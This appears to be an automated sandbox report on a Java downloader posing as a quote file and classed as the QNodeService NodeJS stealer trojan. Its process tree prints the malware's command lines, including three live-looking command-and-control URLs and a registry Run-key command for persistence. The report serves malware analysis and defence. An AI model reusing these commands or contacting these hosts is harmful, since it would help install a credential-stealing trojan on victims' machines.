Analysis

  • max time kernel
    130s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    13-07-2020 07:01

General

  • Target

    FOB QUOTES #092072DB6720.jar

  • Size

    11KB

  • MD5

    e20d2d6fff672f1fd2350f2360a1545b

  • SHA1

    712f836273a071a663ab7eae9f7970e26aa0a449

  • SHA256

    54e843dde1d016b723f35de3ccf83e604edcfd9ba617da576de730f2ce971031

  • SHA512

    8736ba22203332e491784a9271ec68c258f147f420b5bda7952d50920f25cab73b8a68144c57f981934098454cdeb99abe628b2d0e4d77e919d25b153d377ad6

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • QNodeService

    is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.

  • Suspicious use of WriteProcessMemory 8 IoCs
  • QNodeService NodeJS Trojan 1 IoCs
  • Adds Run entry to start application 2 TTPs 2 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 4 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\FOB QUOTES #092072DB6720.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1616
    • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
      C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://payday.kozow.com --central-base-url https://lestero.hopto.org --central-base-url https://frendas.linkpc.net
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3796
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-62bf2258" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-62bf2258.cmd\"""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2128
        • C:\Windows\system32\reg.exe
          REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-62bf2258" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-62bf2258.cmd\""
          4⤵
          • Adds Run entry to start application
          PID:2484
      • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
        C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://payday.kozow.com --central-base-url https://lestero.hopto.org --central-base-url https://frendas.linkpc.net
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Checks processor information in registry
        • Loads dropped DLL
        PID:2560

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js
  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js
  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ffi-napi\prebuilds\win32-x64\node.napi.node
  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\native-reg\prebuilds\win32-x64\node.napi.node
  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ref-napi\prebuilds\win32-x64\node.napi.node
  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\sqlite3\lib\binding\node-v79-win32-x64\node_sqlite3.node
  • memory/2128-110-0x0000000000000000-mapping.dmp
  • memory/2484-111-0x0000000000000000-mapping.dmp
  • memory/2560-112-0x0000000000000000-mapping.dmp
  • memory/2560-114-0x000001032B700000-0x000001032B701000-memory.dmp
    Filesize

    4KB

  • memory/3796-106-0x0000000000000000-mapping.dmp
  • memory/3796-108-0x00000204ABAC0000-0x00000204ABAC1000-memory.dmp
    Filesize

    4KB